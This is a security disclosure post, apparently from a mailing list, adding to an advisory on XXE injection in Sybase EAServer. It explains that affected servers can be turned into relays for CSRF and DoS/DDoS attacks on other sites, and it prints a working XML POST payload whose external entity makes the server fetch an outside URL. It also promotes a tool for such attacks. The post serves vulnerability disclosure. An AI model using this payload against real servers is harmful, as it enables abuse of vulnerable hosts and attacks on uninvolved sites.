Hello! I'll give you additional information concerning advisory SEC Consult SA-20130719-0 :: Multiple vulnerabilities in Sybase EAServer (http://securityvulns.ru/docs29622.html). It's about XXE Injection in Sybase EAServer. Among vulnerabilities in EAServer there is XXE Injection and it was only mentioned about local file inclusion and directory listing attack vector. But this XXE Injection vulnerability also allows to conduct attacks on other sites. So I'll supplement SEC Consult's advisory and will bring your attention to another attack vector. I wrote about such attacks in my 2012's article "Using XML External Entities (XXE) for attacks on other sites" (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2012-August/008481.html) and 2013's "Using XXE vulnerabilities for attacks on other sites" (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2013-August/008887.html). As I described in my articles, XXE vulnerabilities can be used for conducting CSRF and DoS attacks on other sites (and at using multiple web sites it's possible to conduct DDoS attacks). And last month I released a tool for conducting such attacks - in DAVOSET v.1.1.2 I added support of XML requests for XXE vulnerabilities. XXE (WASC-43): For the attack it's needed to send the next XML data in POST request. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://site/page">]> <lol> <dt> <stringValue>&xxe;</stringValue> <booleanValue>0</booleanValue> </dt> </lol> So all servers with affected versions of Sybase EAServer can be used for attacks on other sites via XXE. Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua